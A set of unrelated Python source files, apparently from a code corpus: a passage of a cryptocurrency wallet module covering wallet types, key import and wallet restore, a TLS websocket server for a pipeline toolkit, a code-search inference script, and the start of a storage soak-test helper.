return False
r = self.receive_requests.pop(addr)
if clear_address_label_if_no_tx and not self.get_address_history(addr):
memo = r.get('memo')
# clear it only if the user didn't overwrite it with something else
if memo and memo == self.labels.get(addr.to_storage_string()):
self.set_label(addr, None)
rdir = config.get('requests_dir')
if rdir:
key = r.get('id', addr.to_storage_string())
for s in ['.json', '']:
n = os.path.join(rdir, 'req', key[0], key[1], key, key + s)
if os.path.exists(n):
os.unlink(n)
self.save_payment_requests()
return True
def get_sorted_requests(self, config):
m = map(lambda x: self.get_payment_request(x, config), self.receive_requests.keys())
try:
def f(x):
try:
addr = x['address']
return self.get_address_index(addr) or addr
except:
return addr
return sorted(m, key=f)
except TypeError:
# See issue #1231 -- can get inhomogenous results in the above
# sorting function due to the 'or addr' possible return.
# This can happen if addresses for some reason drop out of wallet
# while, say, the history rescan is running and it can't yet find
# an address index for an address. In that case we will
# return an unsorted list to the caller.
return list(m)
def get_fingerprint(self):
raise NotImplementedError()
def can_import_privkey(self):
return False
def can_import_address(self):
return False
def can_delete_address(self):
return False
def is_multisig(self):
# Subclass Multisig_Wallet overrides this
return False
def is_hardware(self):
return any([isinstance(k, Hardware_KeyStore) for k in self.get_keystores()])
def add_address(self, address):
assert isinstance(address, Address)
self._addr_bal_cache.pop(address, None) # paranoia, not really necessary -- just want to maintain the invariant that when we modify address history below we invalidate cache.
self.invalidate_address_set_cache()
if address not in self._history:
self._history[address] = []
if self.synchronizer:
self.synchronizer.add(address)
self.cashacct.on_address_addition(address)
def has_password(self):
return self.storage.get('use_encryption', False)
def check_password(self, password):
self.keystore.check_password(password)
def sign_message(self, address, message, password):
index = self.get_address_index(address)
return self.keystore.sign_message(index, message, password)
def decrypt_message(self, pubkey, message, password):
addr = self.pubkeys_to_address(pubkey)
index = self.get_address_index(addr)
return self.keystore.decrypt_message(index, message, password)
def rebuild_history(self):
''' This is an advanced function for use in the GUI when the user
wants to resynch the whole wallet from scratch, preserving labels
and contacts. '''
if not self.network or not self.network.is_connected():
raise RuntimeError('Refusing to rebuild wallet without a valid server connection!')
if not self.synchronizer or not self.verifier:
raise RuntimeError('Refusing to rebuild a stopped wallet!')
network = self.network
self.stop_threads()
do_addr_save = False
with self.lock:
self.transactions.clear(); self.unverified_tx.clear(); self.verified_tx.clear()
self.clear_history()
if isinstance(self, Standard_Wallet):
# reset the address list to default too, just in case. New synchronizer will pick up the addresses again.
self.receiving_addresses, self.change_addresses = self.receiving_addresses[:self.gap_limit], self.change_addresses[:self.gap_limit_for_change]
do_addr_save = True
self.change_reserved.clear()
self.change_reserved_default.clear()
self.change_unreserved.clear()
self.change_reserved_tmp.clear()
self.invalidate_address_set_cache()
if do_addr_save:
self.save_addresses()
self.save_transactions()
self.save_change_reservations()
self.save_verified_tx() # implicit cashacct.save
self.storage.write()
self.start_threads(network)
self.network.trigger_callback('wallet_updated', self)
def is_schnorr_possible(self, reason: list = None) -> bool:
''' Returns True if this wallet type is compatible.
`reason` is an optional list where you would like a translated string
of why Schnorr isn't possible placed (on False return). '''
ok = bool(not self.is_multisig() and not self.is_hardware())
if not ok and isinstance(reason, list):
reason.insert(0, _('Schnorr signatures are disabled for this wallet type.'))
return ok
def is_schnorr_enabled(self) -> bool:
''' Returns whether schnorr is enabled AND possible for this wallet.
Schnorr is enabled per-wallet. '''
if not self.is_schnorr_possible():
# Short-circuit out of here -- it's not even possible with this
# wallet type.
return False
ss_cfg = self.storage.get('sign_schnorr', None)
if ss_cfg is None:
# Schnorr was not set in config; figure out intelligent defaults,
# preferring Schnorr if it's at least as fast as ECDSA (based on
# which libs user has installed). Note for watching-only we default
# to off if unspecified regardless, to not break compatibility
# with air-gapped signing systems that have older EC installed
# on the signing system. This is to avoid underpaying fees if
# signing system doesn't use Schnorr. We can turn on default
# Schnorr on watching-only sometime in the future after enough
# time has passed that air-gapped systems are unlikely to not
# have Schnorr enabled by default.
# TO DO: Finish refactor of txn serialized format to handle this
# case better!
if (not self.is_watching_only()
and (schnorr.has_fast_sign()
or not ecc_fast.is_using_fast_ecc())):
# Prefer Schnorr, all things being equal.
# - If not watching-only & schnorr possible AND
# - Either Schnorr is fast sign (native, ABC's secp256k1),
# so use it by default
# - Or both ECDSA & Schnorr are slow (non-native);
# so use Schnorr in that case as well
ss_cfg = 2
else:
# This branch is reached if Schnorr is slow but ECDSA is fast
# (core's secp256k1 lib was found which lacks Schnorr) -- so we
# default it to off. Also if watching only we default off.
ss_cfg = 0
return bool(ss_cfg)
def set_schnorr_enabled(self, b: bool):
''' Enable schnorr for this wallet. Note that if Schnorr is not possible,
(due to missing libs or invalid wallet type) is_schnorr_enabled() will
still return False after calling this function with a True argument. '''
# Note: we will have '1' at some point in the future which will mean:
# 'ask me per tx', so for now True -> 2.
self.storage.put('sign_schnorr', 2 if b else 0)
class Simple_Wallet(Abstract_Wallet):
# wallet with a single keystore
def get_keystore(self):
return self.keystore
def get_keystores(self):
return [self.keystore]
def is_watching_only(self):
return self.keystore.is_watching_only()
def can_change_password(self):
return self.keystore.can_change_password()
def update_password(self, old_pw, new_pw, encrypt=False):
if old_pw is None and self.has_password():
raise InvalidPassword()
if self.keystore is not None and self.keystore.can_change_password():
self.keystore.update_password(old_pw, new_pw)
self.save_keystore()
self.storage.set_password(new_pw, encrypt)
self.storage.write()
def save_keystore(self):
self.storage.put('keystore', self.keystore.dump())
class ImportedWalletBase(Simple_Wallet):
txin_type = 'p2pkh'
def get_txin_type(self, address):
return self.txin_type
def can_delete_address(self):
return len(self.get_addresses()) > 1 # Cannot delete the last address
def has_seed(self):
return False
def is_deterministic(self):
return False
def is_change(self, address):
return False
def get_master_public_keys(self):
return []
def is_beyond_limit(self, address, is_change):
return False
def get_fingerprint(self):
return ''
def get_receiving_addresses(self):
return self.get_addresses()
def delete_address(self, address):
assert isinstance(address, Address)
all_addrs = self.get_addresses()
if len(all_addrs) <= 1 or address not in all_addrs:
return
del all_addrs
transactions_to_remove = set() # only referred to by this address
transactions_new = set() # txs that are not only referred to by address
with self.lock:
for addr, details in self._history.items():
if addr == address:
for tx_hash, height in details:
transactions_to_remove.add(tx_hash)
self.tx_addr_hist[tx_hash].discard(address)
if not self.tx_addr_hist.get(tx_hash):
self.tx_addr_hist.pop(tx_hash, None)
else:
for tx_hash, height in details:
transactions_new.add(tx_hash)
transactions_to_remove -= transactions_new
self._history.pop(address, None)
for tx_hash in transactions_to_remove:
self.remove_transaction(tx_hash)
self.tx_fees.pop(tx_hash, None)
self.verified_tx.pop(tx_hash, None)
self.unverified_tx.pop(tx_hash, None)
self.transactions.pop(tx_hash, None)
self._addr_bal_cache.pop(address, None) # not strictly necessary, above calls also have this side-effect. but here to be safe. :)
if self.verifier:
# TX is now gone. Toss its SPV proof in case we have it
# in memory. This allows user to re-add PK again and it
# will avoid the situation where the UI says "not verified"
# erroneously!
self.verifier.remove_spv_proof_for_tx(tx_hash)
# FIXME: what about pruned_txo?
self.storage.put('verified_tx3', self.verified_tx)
self.save_transactions()
self.set_label(address, None)
self.remove_payment_request(address, {})
self.set_frozen_state([address], False)
self.delete_address_derived(address)
self.cashacct.on_address_deletion(address)
self.cashacct.save()
self.save_addresses()
self.storage.write() # no-op if above already wrote
class ImportedAddressWallet(ImportedWalletBase):
# Watch-only wallet of imported addresses
wallet_type = 'imported_addr'
def __init__(self, storage):
self._sorted = None
super().__init__(storage)
@classmethod
def from_text(cls, storage, text):
wallet = cls(storage)
for address in text.split():
wallet.import_address(Address.from_string(address))
return wallet
def is_watching_only(self):
return True
def get_keystores(self):
return []
def can_import_privkey(self):
return False
def load_keystore(self):
self.keystore = None
def save_keystore(self):
pass
def load_addresses(self):
addresses = self.storage.get('addresses', [])
self.addresses = [Address.from_string(addr) for addr in addresses]
def save_addresses(self):
self.storage.put('addresses', [addr.to_storage_string()
for addr in self.addresses])
self.storage.write()
def can_change_password(self):
return False
def can_import_address(self):
return True
def get_addresses(self, include_change=False):
if not self._sorted:
self._sorted = sorted(self.addresses,
key=lambda addr: addr.to_ui_string())
return self._sorted
def import_address(self, address):
assert isinstance(address, Address)
if address in self.addresses:
return False
self.addresses.append(address)
self.add_address(address)
self.cashacct.save()
self.save_addresses()
self.storage.write() # no-op if already wrote in previous call
self._sorted = None
return True
def delete_address_derived(self, address):
self.addresses.remove(address)
self._sorted.remove(address)
def add_input_sig_info(self, txin, address):
x_pubkey = 'fd' + address.to_script_hex()
txin['x_pubkeys'] = [x_pubkey]
txin['signatures'] = [None]
class ImportedPrivkeyWallet(ImportedWalletBase):
# wallet made of imported private keys
wallet_type = 'imported_privkey'
def __init__(self, storage):
Abstract_Wallet.__init__(self, storage)
@classmethod
def from_text(cls, storage, text, password=None):
wallet = cls(storage)
storage.put('use_encryption', bool(password))
for privkey in text.split():
wallet.import_private_key(privkey, password)
return wallet
def is_watching_only(self):
return False
def get_keystores(self):
return [self.keystore]
def can_import_privkey(self):
return True
def load_keystore(self):
if self.storage.get('keystore'):
self.keystore = load_keystore(self.storage, 'keystore')
else:
self.keystore = Imported_KeyStore({})
def save_keystore(self):
self.storage.put('keystore', self.keystore.dump())
def load_addresses(self):
pass
def save_addresses(self):
pass
def can_change_password(self):
return True
def can_import_address(self):
return False
def get_addresses(self, include_change=False):
return self.keystore.get_addresses()
def delete_address_derived(self, address):
self.keystore.remove_address(address)
self.save_keystore()
def get_address_index(self, address):
return self.get_public_key(address)
def get_public_key(self, address):
return self.keystore.address_to_pubkey(address)
def import_private_key(self, sec, pw):
pubkey = self.keystore.import_privkey(sec, pw)
self.save_keystore()
self.add_address(pubkey.address)
self.cashacct.save()
self.save_addresses()
self.storage.write() # no-op if above already wrote
return pubkey.address.to_ui_string()
def export_private_key(self, address, password):
'''Returned in WIF format.'''
pubkey = self.keystore.address_to_pubkey(address)
return self.keystore.export_private_key(pubkey, password)
def add_input_sig_info(self, txin, address):
assert txin['type'] == 'p2pkh'
pubkey = self.keystore.address_to_pubkey(address)
txin['num_sig'] = 1
txin['x_pubkeys'] = [pubkey.to_ui_string()]
txin['signatures'] = [None]
def pubkeys_to_address(self, pubkey):
pubkey = PublicKey.from_string(pubkey)
if pubkey in self.keystore.keypairs:
return pubkey.address
class Deterministic_Wallet(Abstract_Wallet):
def __init__(self, storage):
Abstract_Wallet.__init__(self, storage)
self.gap_limit = storage.get('gap_limit', 20)
def has_seed(self):
return self.keystore.has_seed()
def get_receiving_addresses(self):
return self.receiving_addresses
def get_change_addresses(self):
return self.change_addresses
def get_seed(self, password):
return self.keystore.get_seed(password)
def add_seed(self, seed, pw):
self.keystore.add_seed(seed, pw)
def change_gap_limit(self, value):
'''This method is not called in the code, it is kept for console use'''
with self.lock:
if value >= self.gap_limit:
self.gap_limit = value
self.storage.put('gap_limit', self.gap_limit)
return True
elif value >= self.min_acceptable_gap():
addresses = self.get_receiving_addresses()
k = self.num_unused_trailing_addresses(addresses)
n = len(addresses) - k + value
self.receiving_addresses = self.receiving_addresses[0:n]
self.gap_limit = value
self.storage.put('gap_limit', self.gap_limit)
self.save_addresses()
return True
else:
return False
def num_unused_trailing_addresses(self, addresses):
'''This method isn't called anywhere. Perhaps it is here for console use.
Can't be sure. -Calin '''
with self.lock:
k = 0
for addr in reversed(addresses):
if addr in self._history:
break
k = k + 1
return k
def min_acceptable_gap(self):
''' Caller needs to hold self.lock otherwise bad things may happen. '''
# fixme: this assumes wallet is synchronized
n = 0
nmax = 0
addresses = self.get_receiving_addresses()
k = self.num_unused_trailing_addresses(addresses)
for a in addresses[0:-k]:
if a in self._history:
n = 0
else:
n += 1
if n > nmax: nmax = n
return nmax + 1
def create_new_address(self, for_change=False):
for_change = bool(for_change)
with self.lock:
addr_list = self.change_addresses if for_change else self.receiving_addresses
n = len(addr_list)
x = self.derive_pubkeys(for_change, n)
address = self.pubkeys_to_address(x)
addr_list.append(address)
self.save_addresses()
self.add_address(address)
return address
def synchronize_sequence(self, for_change):
limit = self.gap_limit_for_change if for_change else self.gap_limit
while True:
addresses = self.get_change_addresses() if for_change else self.get_receiving_addresses()
if len(addresses) < limit:
self.create_new_address(for_change)
continue
if all(map(lambda a: not self.address_is_old(a), addresses[-limit:] )):
break
else:
self.create_new_address(for_change)
def synchronize(self):
with self.lock:
self.synchronize_sequence(False)
self.synchronize_sequence(True)
def is_beyond_limit(self, address, is_change):
with self.lock:
if is_change:
addr_list = self.get_change_addresses()
limit = self.gap_limit_for_change
else:
addr_list = self.get_receiving_addresses()
limit = self.gap_limit
idx = addr_list.index(address)
if idx < limit:
return False
for addr in addr_list[-limit:]:
if addr in self._history:
return False
return True
def get_master_public_keys(self):
return [self.get_master_public_key()]
def get_fingerprint(self):
return self.get_master_public_key()
def get_txin_type(self, address):
return self.txin_type
class Simple_Deterministic_Wallet(Simple_Wallet, Deterministic_Wallet):
""" Deterministic Wallet with a single pubkey per address """
def __init__(self, storage):
Deterministic_Wallet.__init__(self, storage)
def get_public_key(self, address):
sequence = self.get_address_index(address)
pubkey = self.get_pubkey(*sequence)
return pubkey
def load_keystore(self):
self.keystore = load_keystore(self.storage, 'keystore')
try:
xtype = bitcoin.xpub_type(self.keystore.xpub)
except:
xtype = 'standard'
self.txin_type = 'p2pkh' if xtype == 'standard' else xtype
def get_pubkey(self, c, i):
return self.derive_pubkeys(c, i)
def get_public_keys(self, address):
return [self.get_public_key(address)]
def add_input_sig_info(self, txin, address):
derivation = self.get_address_index(address)
x_pubkey = self.keystore.get_xpubkey(*derivation)
txin['x_pubkeys'] = [x_pubkey]
txin['signatures'] = [None]
txin['num_sig'] = 1
def get_master_public_key(self):
return self.keystore.get_master_public_key()
def derive_pubkeys(self, c, i):
return self.keystore.derive_pubkey(c, i)
class Standard_Wallet(Simple_Deterministic_Wallet):
wallet_type = 'standard'
def pubkeys_to_address(self, pubkey):
return Address.from_pubkey(pubkey)
class Multisig_Wallet(Deterministic_Wallet):
# generic m of n
gap_limit = 20
def __init__(self, storage):
self.wallet_type = storage.get('wallet_type')
self.m, self.n = multisig_type(self.wallet_type)
Deterministic_Wallet.__init__(self, storage)
def get_pubkeys(self, c, i):
return self.derive_pubkeys(c, i)
def pubkeys_to_address(self, pubkeys):
pubkeys = [bytes.fromhex(pubkey) for pubkey in pubkeys]
redeem_script = self.pubkeys_to_redeem_script(pubkeys)
return Address.from_multisig_script(redeem_script)
def pubkeys_to_redeem_script(self, pubkeys):
return Script.multisig_script(self.m, sorted(pubkeys))
def derive_pubkeys(self, c, i):
return [k.derive_pubkey(c, i) for k in self.get_keystores()]
def load_keystore(self):
self.keystores = {}
for i in range(self.n):
name = 'x%d/'%(i+1)
self.keystores[name] = load_keystore(self.storage, name)
self.keystore = self.keystores['x1/']
xtype = bitcoin.xpub_type(self.keystore.xpub)
self.txin_type = 'p2sh' if xtype == 'standard' else xtype
def save_keystore(self):
for name, k in self.keystores.items():
self.storage.put(name, k.dump())
def get_keystore(self):
return self.keystores.get('x1/')
def get_keystores(self):
return [self.keystores[i] for i in sorted(self.keystores.keys())]
def update_password(self, old_pw, new_pw, encrypt=False):
if old_pw is None and self.has_password():
raise InvalidPassword()
for name, keystore in self.keystores.items():
if keystore.can_change_password():
keystore.update_password(old_pw, new_pw)
self.storage.put(name, keystore.dump())
self.storage.set_password(new_pw, encrypt)
self.storage.write()
def has_seed(self):
return self.keystore.has_seed()
def can_change_password(self):
return self.keystore.can_change_password()
def is_watching_only(self):
return not any([not k.is_watching_only() for k in self.get_keystores()])
def get_master_public_key(self):
return self.keystore.get_master_public_key()
def get_master_public_keys(self):
return [k.get_master_public_key() for k in self.get_keystores()]
def get_fingerprint(self):
return ''.join(sorted(self.get_master_public_keys()))
def add_input_sig_info(self, txin, address):
# x_pubkeys are not sorted here because it would be too slow
# they are sorted in transaction.get_sorted_pubkeys
derivation = self.get_address_index(address)
txin['x_pubkeys'] = [k.get_xpubkey(*derivation) for k in self.get_keystores()]
txin['pubkeys'] = None
# we need n place holders
txin['signatures'] = [None] * self.n
txin['num_sig'] = self.m
def is_multisig(self):
return True
wallet_types = ['standard', 'multisig', 'imported']
def register_wallet_type(category):
wallet_types.append(category)
wallet_constructors = {
'standard': Standard_Wallet,
'old': Standard_Wallet,
'xpub': Standard_Wallet,
'imported_privkey': ImportedPrivkeyWallet,
'imported_addr': ImportedAddressWallet,
}
def register_constructor(wallet_type, constructor):
wallet_constructors[wallet_type] = constructor
class UnknownWalletType(RuntimeError):
''' Raised if encountering an unknown wallet type '''
pass
# former WalletFactory
class Wallet:
"""The main wallet "entry point".
This class is actually a factory that will return a wallet of the correct
type when passed a WalletStorage instance."""
def __new__(self, storage):
wallet_type = storage.get('wallet_type')
WalletClass = Wallet.wallet_class(wallet_type)
wallet = WalletClass(storage)
# Convert hardware wallets restored with older versions of
# Electrum to BIP44 wallets. A hardware wallet does not have
# a seed and plugins do not need to handle having one.
rwc = getattr(wallet, 'restore_wallet_class', None)
if rwc and storage.get('seed', ''):
storage.print_error("converting wallet type to " + rwc.wallet_type)
storage.put('wallet_type', rwc.wallet_type)
wallet = rwc(storage)
return wallet
@staticmethod
def wallet_class(wallet_type):
if multisig_type(wallet_type):
return Multisig_Wallet
if wallet_type in wallet_constructors:
return wallet_constructors[wallet_type]
raise UnknownWalletType("Unknown wallet type: " + str(wallet_type))
def create_new_wallet(*, path, config, passphrase=None, password=None,
encrypt_file=True, seed_type=None, gap_limit=None) -> dict:
"""Create a new wallet"""
storage = WalletStorage(path)
if storage.file_exists():
raise Exception("Remove the existing wallet first!")
from .mnemonic import Mnemonic_Electrum
seed = Mnemonic_Electrum('en').make_seed(seed_type) # TODO: Make the default be BIP39
k = keystore.from_seed(seed, passphrase, False)
storage.put('keystore', k.dump())
storage.put('wallet_type', 'standard')
if gap_limit is not None:
storage.put('gap_limit', gap_limit)
wallet = Wallet(storage)
wallet.update_password(old_pw=None, new_pw=password, encrypt=encrypt_file)
wallet.synchronize()
msg = "Please keep your seed in a safe place; if you lose it, you will not be able to restore your wallet."
wallet.storage.write()
return {'seed': seed, 'wallet': wallet, 'msg': msg}
def restore_wallet_from_text(text, *, path, config,
passphrase=None, password=None, encrypt_file=True,
gap_limit=None) -> dict:
"""Restore a wallet from text. Text can be a seed phrase, a master
public key, a master private key, a list of bitcoin addresses
or bitcoin private keys."""
storage = WalletStorage(path)
if storage.file_exists():
raise Exception("Remove the existing wallet first!")
text = text.strip()
if keystore.is_address_list(text):
wallet = ImportedAddressWallet.from_text(storage, text)
wallet.save_addresses()
elif keystore.is_private_key_list(text,):
k = keystore.Imported_KeyStore({})
storage.put('keystore', k.dump())
wallet = ImportedPrivkeyWallet.from_text(storage, text, password)
else:
if keystore.is_master_key(text):
k = keystore.from_master_key(text)
elif keystore.is_seed(text):
k = keystore.from_seed(text, passphrase, False) # TODO: make default be BIP39
else:
raise Exception("Seed or key not recognized")
storage.put('keystore', k.dump())
storage.put('wallet_type', 'standard')
if gap_limit is not None:
storage.put('gap_limit', gap_limit)
wallet = Wallet(storage)
wallet.update_password(old_pw=None, new_pw=password, encrypt=encrypt_file)
wallet.synchronize()
msg = ("This wallet was restored offline. It may contain more addresses than displayed. "
"Start a daemon and use load_wallet to sync its history.")
wallet.storage.write()
return {'wallet': wallet, 'msg': msg}
|
server.py | # Copyright (c) 2013 Shotgun Software Inc.
#
# CONFIDENTIAL AND PROPRIETARY
#
# This work is provided "AS IS" and subject to the Shotgun Pipeline Toolkit
# Source Code License included in this distribution package. See LICENSE.
# By accessing, using, copying or modifying this work you indicate your
# agreement to the Shotgun Pipeline Toolkit Source Code License. All rights
# not expressly granted therein are reserved by Shotgun Software Inc.
import os
import threading
import base64
from .server_protocol import ServerProtocol
from twisted.internet import reactor, ssl, error
from twisted.python import log
from autobahn.twisted.websocket import WebSocketServerFactory, listenWS
from .errors import MissingCertificateError, PortBusyError
from . import certificates
from .logger import get_logger
from sgtk.platform.qt import QtCore
logger = get_logger(__name__)
class Server(object):
_DEFAULT_PORT = 9000
_DEFAULT_KEYS_PATH = "../resources/keys"
class Notifier(QtCore.QObject):
different_user_requested = QtCore.Signal(str, int)
def __init__(self, keys_path, encrypt, host, user_id, port=None):
"""
Constructor.
:param keys_path: Path to the keys. If the path is relative, it will be relative to the
current working directory. Mandatory
:param encrypt: If True, the communication with clients will be encrypted.
:param host: Url of the host we're expecting requests from.
:param user_id: Id of the user we're expecting requests from.
:param port: Port to listen for websocket requests from.
:param low_level_debug: If True, wss traffic will be written to the console.
"""
self._port = port or self._DEFAULT_PORT
self._keys_path = keys_path or self._DEFAULT_KEYS_PATH
self._host = host
self._user_id = user_id
# If encryption is required, compute a server id and retrieve the secret associated to it.
if encrypt:
# urandom is considered cryptographically secure as it calls the OS's CSRNG, so we can
# use that to generate our own server id.
self._ws_server_id = base64.urlsafe_b64encode(os.urandom(16))
else:
self._ws_server_id = None
self.notifier = self.Notifier()
if not os.path.exists(keys_path):
raise MissingCertificateError(keys_path)
twisted = get_logger("twisted")
logger.debug("Browser integration using certificates at %s", self._keys_path)
logger.debug("Encryption: %s", encrypt)
# This will take the Twisted logging and forward it to Python's logging.
self._observer = log.PythonLoggingObserver(twisted.name)
self._observer.start()
def get_logger(self):
"""
:returns: The python logger root for the framework.
"""
return logger
def _raise_if_missing_certificate(self, certificate_path):
"""
Raises an exception is a certificate file is missing.
:param certificate_path: Path to the certificate file.
:raises Exception: Thrown if the certificate file is missing.
"""
if not os.path.exists(certificate_path):
raise MissingCertificateError("Missing certificate file: %s" % certificate_path)
def _start_server(self):
"""
Start shotgun web server, listening to websocket connections.
:param debug: Boolean Show debug output. Will also Start local web server to test client pages.
"""
cert_crt_path, cert_key_path = certificates.get_certificate_file_names(self._keys_path)
self._raise_if_missing_certificate(cert_key_path)
self._raise_if_missing_certificate(cert_crt_path)
# SSL server context: load server key and certificate
self.context_factory = ssl.DefaultOpenSSLContextFactory(cert_key_path,
cert_crt_path)
# FIXME: Seems like the debugging flags are gone from the initializer at the moment.
# We should try to restore these.
self.factory = WebSocketServerFactory(
"wss://localhost:%d" % self._port
)
self.factory.protocol = ServerProtocol
self.factory.host = self._host
self.factory.user_id = self._user_id
self.factory.notifier = self.notifier
self.factory.ws_server_id = self._ws_server_id
self.factory.setProtocolOptions(echoCloseCodeReason=True)
try:
self.listener = listenWS(self.factory, self.context_factory)
except error.CannotListenError, e:
raise PortBusyError(str(e))
def _start_reactor(self):
"""
Starts the reactor in a Python thread.
"""
def start():
reactor.run(installSignalHandlers=0)
self._reactor_thread = threading.Thread(target=start)
self._reactor_thread.start()
def start(self):
"""
Start shotgun web server, listening to websocket connections.
"""
self._start_server()
self._start_reactor()
def is_running(self):
"""
:returns: True if the server is up and running, False otherwise.
"""
return self._reactor_thread.isAlive()
def tear_down(self):
"""
Tears down Twisted.
"""
reactor.callFromThread(reactor.stop)
self._reactor_thread.join()
|
search.py | import os
import sys
import traceback
import numpy as np
import argparse
import threading
import codecs
import logging
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO, format="%(message)s")
from tensorboardX import SummaryWriter # install tensorboardX (pip install tensorboardX) before importing this package
import torch
from utils import normalize, similarity, sent2indexes
from data_loader import load_dict, load_vecs
import models, configs
codevecs, codebase = [], []
##### Data Set #####
def load_codebase(code_path, chunk_size=2000000):
"""load codebase
codefile: h5 file that stores raw code
"""
logger.info(f'Loading codebase (chunk size={chunk_size})..')
codebase= []
codes = codecs.open(code_path, encoding='latin-1').readlines() # use codecs to read in case of encoding problem
for i in range(0, len(codes), chunk_size):
codebase.append(codes[i: i+chunk_size])
'''
import subprocess
n_lines = int(subprocess.check_output(["wc", "-l", code_path], universal_newlines=True).split()[0])
for i in range(1, n_lines+1, chunk_size):
codecs = subprocess.check_output(["sed",'-n',f'{i},{i+chunk_size}p', code_path]).split()
codebase.append(codecs)
'''
return codebase
### Results Data ###
def load_codevecs(vec_path, chunk_size=2000000):
logger.debug(f'Loading code vectors (chunk size={chunk_size})..')
"""read vectors (2D numpy array) from a hdf5 file"""
codevecs=[]
chunk_id = 0
chunk_path = f"{vec_path[:-3]}_part{chunk_id}.h5"
while os.path.exists(chunk_path):
reprs = load_vecs(chunk_path)
codevecs.append(reprs)
chunk_id+=1
chunk_path = f"{vec_path[:-3]}_part{chunk_id}.h5"
return codevecs
def search(config, model, vocab, query, n_results=10):
model.eval()
device = next(model.parameters()).device
desc, desc_len =sent2indexes(query, vocab_desc, config['desc_len'])#convert query into word indices
desc = torch.from_numpy(desc).unsqueeze(0).to(device)
desc_len = torch.from_numpy(desc_len).clamp(max=config['desc_len']).to(device)
with torch.no_grad():
desc_repr = model.desc_encoding(desc, desc_len).data.cpu().numpy().astype(np.float32) # [1 x dim]
if config['sim_measure']=='cos': # normalizing vector for fast cosine computation
desc_repr = normalize(desc_repr) # [1 x dim]
results =[]
threads = []
for i, codevecs_chunk in enumerate(codevecs):
t = threading.Thread(target=search_thread, args = (results, desc_repr, codevecs_chunk, i, n_results, config['sim_measure']))
threads.append(t)
for t in threads:
t.start()
for t in threads:#wait until all sub-threads have completed
t.join()
return results
def search_thread(results, desc_repr, codevecs, i, n_results, sim_measure):
#1. compute code similarities
if sim_measure=='cos':
chunk_sims = np.dot(codevecs, desc_repr.T)[:,0] # [pool_size]
else:
chunk_sims = similarity(codevecs, desc_repr, sim_measure) # [pool_size]
#2. select the top K results
negsims = np.negative(chunk_sims)
maxinds = np.argpartition(negsims, kth=n_results-1)
maxinds = maxinds[:n_results]
chunk_codes = [codebase[i][k] for k in maxinds]
chunk_sims = chunk_sims[maxinds]
results.extend(zip(chunk_codes, chunk_sims))
def postproc(codes_sims):
codes_, sims_ = zip(*codes_sims)
codes = [code for code in codes_]
sims = [sim for sim in sims_]
final_codes = []
final_sims = []
n = len(codes_sims)
for i in range(n):
is_dup=False
for j in range(i):
if codes[i][:80]==codes[j][:80] and abs(sims[i]-sims[j])<0.01:
is_dup=True
if not is_dup:
final_codes.append(codes[i])
final_sims.append(sims[i])
return zip(final_codes,final_sims)
def parse_args():
parser = argparse.ArgumentParser("Train and Test Code Search(Embedding) Model")
parser.add_argument('--data_path', type=str, default='./data/', help='location of the data corpus')
parser.add_argument('--model', type=str, default='JointEmbeder', help='model name')
parser.add_argument('-d', '--dataset', type=str, default='github', help='name of dataset.java, python')
parser.add_argument('--reload_from', type=int, default=-1, help='step to reload from')
parser.add_argument('--chunk_size', type=int, default=2000000, help='codebase and code vector are stored in many chunks. '\
'Note: should be consistent with the same argument in the repr_code.py')
parser.add_argument('-g', '--gpu_id', type=int, default=0, help='GPU ID')
parser.add_argument('-v', "--visual",action="store_true", default=False, help="Visualize training status in tensorboard")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
device = torch.device(f"cuda:{args.gpu_id}" if torch.cuda.is_available() else "cpu")
config = getattr(configs, 'config_'+args.model)()
##### Define model ######
logger.info('Constructing Model..')
model = getattr(models, args.model)(config)#initialize the model
ckpt=f'./output/{args.model}/{args.dataset}/models/step{args.reload_from}.h5'
model.load_state_dict(torch.load(ckpt, map_location=device))
data_path = args.data_path+args.dataset+'/'
vocab_desc = load_dict(data_path+config['vocab_desc'])
codebase = load_codebase(data_path+config['use_codebase'], args.chunk_size)
codevecs = load_codevecs(data_path+config['use_codevecs'], args.chunk_size)
assert len(codebase)==len(codevecs), \
"inconsistent number of chunks, check whether the specified files for codebase and code vectors are correct!"
while True:
try:
query = input('Input Query: ')
n_results = int(input('How many results? '))
except Exception:
print("Exception while parsing your input:")
traceback.print_exc()
break
query = query.lower().replace('how to ', '').replace('how do i ', '').replace('how can i ', '').replace('?', '').strip()
results = search(config, model, vocab_desc, query, n_results)
results = sorted(results, reverse=True, key=lambda x:x[1])
results = postproc(results)
results = list(results)[:n_results]
results = '\n\n'.join(map(str,results)) #combine the result into a returning string
print(results)
|
soak_utils.py | #!/usr/bin/python
"""
(C) Copyright 2019 Intel Corporation.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
GOVERNMENT LICENSE RIGHTS-OPEN SOURCE SOFTWARE
The Government's rights to use, modify, reproduce, release, perform, display,
or disclose this software are subject to the terms of the Apache License as
provided in Contract No. B609815.
Any reproduction of computer software, computer software documentation, or
portions thereof marked with this legend must also reproduce the markings.
"""
import os
import time
from ior_utils import IorCommand
from fio_utils import FioCommand
from dfuse_utils import Dfuse
from job_manager_utils import Srun
from command_utils_base import BasicParameter
from general_utils import get_random_string, run_command, DaosTestError
import slurm_utils
from test_utils_pool import TestPool
from test_utils_container import TestContainer
from ClusterShell.NodeSet import NodeSet
import threading
from avocado.core.exceptions import TestFail
from pydaos.raw import DaosSnapshot, DaosApiError
H_LOCK = threading.Lock()
def DDHHMMSS_format(seconds):
"""Convert seconds into #days:HH:MM:SS format.
Args:
seconds(int): number of seconds to convert
Returns: str in the format of DD:HH:MM:SS
"""
seconds = int(seconds)
if seconds < 86400:
return time.strftime("%H:%M:%S", time.gmtime(seconds))
num_days = seconds / 86400
return "{} {} {}".format(
num_days, 'Day' if num_days == 1 else 'Days', time.strftime(
"%H:%M:%S", time.gmtime(seconds % 86400)))
def add_pools(self, pool_names):
"""Create a list of pools that the various tests use for storage.
Args:
pool_names: list of pool namespaces from yaml file
/run/<test_params>/poollist/*
"""
for pool_name in pool_names:
path = "".join(["/run/", pool_name, "/*"])
# Create a pool and add it to the overall list of pools
self.pool.append(
TestPool(self.context, self.get_dmg_command()))
self.pool[-1].namespace = path
self.pool[-1].get_params(self)
self.pool[-1].create()
self.pool[-1].set_property("reclaim", "time")
